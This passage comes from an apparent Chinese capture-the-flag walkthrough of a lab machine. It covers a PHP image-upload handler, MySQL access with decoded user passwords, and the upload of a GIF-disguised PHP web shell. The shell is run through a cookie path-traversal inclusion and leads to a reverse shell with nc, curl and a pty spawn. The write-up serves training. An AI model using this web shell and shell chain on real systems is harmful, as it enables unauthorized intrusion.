&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;&amp;lt;?php 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;if(isset($_POST[&amp;#39;submit&amp;#39;])) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	if ($_FILES[&amp;#39;file&amp;#39;][&amp;#39;error&amp;#39;] &amp;lt;= 0) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$filename = $_FILES[&amp;#39;file&amp;#39;][&amp;#39;name&amp;#39;];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$filetype = $_FILES[&amp;#39;file&amp;#39;][&amp;#39;type&amp;#39;];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$uploaddir = &amp;#39;upload/&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$file_ext = strrchr($filename, &amp;#39;.&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$imageinfo = getimagesize($_FILES[&amp;#39;file&amp;#39;][&amp;#39;tmp_name&amp;#39;]);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$whitelist = array(&amp;#34;.jpg&amp;#34;,&amp;#34;.jpeg&amp;#34;,&amp;#34;.gif&amp;#34;,&amp;#34;.png&amp;#34;); 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		if (!(in_array($file_ext, $whitelist))) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			die(&amp;#39;Not allowed extension, please upload images only.&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		if(strpos($filetype,&amp;#39;image&amp;#39;) === false) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			die(&amp;#39;Error 001&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		if($imageinfo[&amp;#39;mime&amp;#39;] != &amp;#39;image/gif&amp;#39; &amp;amp;&amp;amp; $imageinfo[&amp;#39;mime&amp;#39;] != &amp;#39;image/jpeg&amp;#39; &amp;amp;&amp;amp; $imageinfo[&amp;#39;mime&amp;#39;] != &amp;#39;image/jpg&amp;#39;&amp;amp;&amp;amp; $imageinfo[&amp;#39;mime&amp;#39;] != &amp;#39;image/png&amp;#39;) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			die(&amp;#39;Error 002&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		if(substr_count($filetype, &amp;#39;/&amp;#39;)&amp;gt;1){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			die(&amp;#39;Error 003&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		$uploadfile = $uploaddir . md5(basename($_FILES[&amp;#39;file&amp;#39;][&amp;#39;name&amp;#39;])).$file_ext;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		if (move_uploaded_file($_FILES[&amp;#39;file&amp;#39;][&amp;#39;tmp_name&amp;#39;], $uploadfile)) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			echo &amp;#34;&amp;lt;img src=\&amp;#34;&amp;#34;.$uploadfile.&amp;#34;\&amp;#34;&amp;gt;&amp;lt;br /&amp;gt;&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		} else {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;			die(&amp;#39;Error 4&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="mysql登录获得用户名"&gt;Mysql登录获得用户名
&lt;/h2&gt;&lt;p&gt;回到一开始的Nmap扫描结果发现3306端口是打开的，也就是mysql服务，刚刚config.php的密码也似乎是mysql的密码，不是登录密码。试一下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mysql -uroot -h 172.168.169.143 -p --ssl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723210312474" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723210312474.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723210407863" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723210407863.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mysql --skip-ssl -u root -p -h 192.168.107.29
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250724153251984" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250724153251984.png"&gt;&lt;/p&gt;
&lt;p&gt;设置跳过加密验证或使用数据库连接软件连接成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723210836295" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723210836295.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723211130050" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723211130050.png"&gt;&lt;/p&gt;
&lt;p&gt;查看用户名列表，发现3个用户名和密码，解码base64得到在登录界面可以输入的密码。&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;user&lt;/th&gt;
 &lt;th&gt;pass&lt;/th&gt;
 &lt;th&gt;解&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;kent&lt;/td&gt;
 &lt;td&gt;Sld6WHVCSkpOeQ==&lt;/td&gt;
 &lt;td&gt;JWzXuBJJNy&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;mike&lt;/td&gt;
 &lt;td&gt;U0lmZHNURW42SQ==&lt;/td&gt;
 &lt;td&gt;SIfdsTEn6I&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;kane&lt;/td&gt;
 &lt;td&gt;aVN2NVltMkdSbw==&lt;/td&gt;
 &lt;td&gt;iSv5Ym2GRo&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;输入任意组合密码即可登录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723211617233" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723211617233.png"&gt;&lt;/p&gt;
&lt;h2 id="文件上传"&gt;文件上传
&lt;/h2&gt;&lt;p&gt;上传一个测试文件，发现上传后的文件存放在upload下面。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723211903983" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723211903983.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723211927764" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723211927764.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723212011128" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723212011128.png"&gt;&lt;/p&gt;
&lt;p&gt;使用Burp抓包修改上传的请求，从之前的upload.php源码看，只能上传图片文件，就暂时不修改文件名，只测试是否有恶意内容检测，显示上传成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723212407915" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723212407915.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;POST /?page=upload HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host: 172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: 319
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: max-age=0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Origin: http://172.168.169.143
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Upgrade-Insecure-Requests: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Referer: http://172.168.169.143/?page=upload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language: zh-CN,zh;q=0.9
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;------WebKitFormBoundary1vs6B8Q4tsVShuqH
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;Content-Disposition: form-data; name=&amp;#34;file&amp;#34;; filename=&amp;#34;pphp.png&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: image/png
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;GIF89a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?php system($_GET[&amp;#34;cmd&amp;#34;]);?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;------WebKitFormBoundary1vs6B8Q4tsVShuqH
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;Content-Disposition: form-data; name=&amp;#34;submit&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Upload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;------WebKitFormBoundary1vs6B8Q4tsVShuqH--
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723213120684" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723213120684.png"&gt;&lt;/p&gt;
&lt;p&gt;利用lang参数来把一句话木马带进来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723214922174" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723214922174.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723215721485" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723215721485.png"&gt;&lt;/p&gt;
&lt;h2 id="反弹shell"&gt;反弹Shell
&lt;/h2&gt;&lt;p&gt;上传一个反弹shell的完整php脚本，然后在lang中请求。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;4777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;curl -v --cookie &lt;span class="s2"&gt;&amp;#34;lang=../upload/c91a703ee9be1019794f2dfe58855fbe.png&amp;#34;&lt;/span&gt; http://172.168.169.143/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 美化&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;python -c &lt;span class="s1"&gt;&amp;#39;import pty;pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723220310370" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723220310370.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;POST&lt;/span&gt; &lt;span class="o"&gt;/?&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;upload&lt;/span&gt; &lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Host&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;172.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;169.143&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Length&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4354&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Cache&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Control&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;max&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="mf"&gt;172.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;169.143&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;multipart&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;form&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;boundary&lt;/span&gt;&lt;span class="o"&gt;=----&lt;/span&gt;&lt;span class="nx"&gt;WebKitFormBoundary1vs6B8Q4tsVShuqH&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Upgrade&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Insecure&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Requests&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Agent&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Mozilla&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Windows&lt;/span&gt; &lt;span class="nx"&gt;NT&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;Win64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;x64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;AppleWebKit&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;537.36&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;KHTML&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;like&lt;/span&gt; &lt;span class="nx"&gt;Gecko&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;Chrome&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;138.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt; &lt;span class="nx"&gt;Safari&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;xhtml&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;application&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 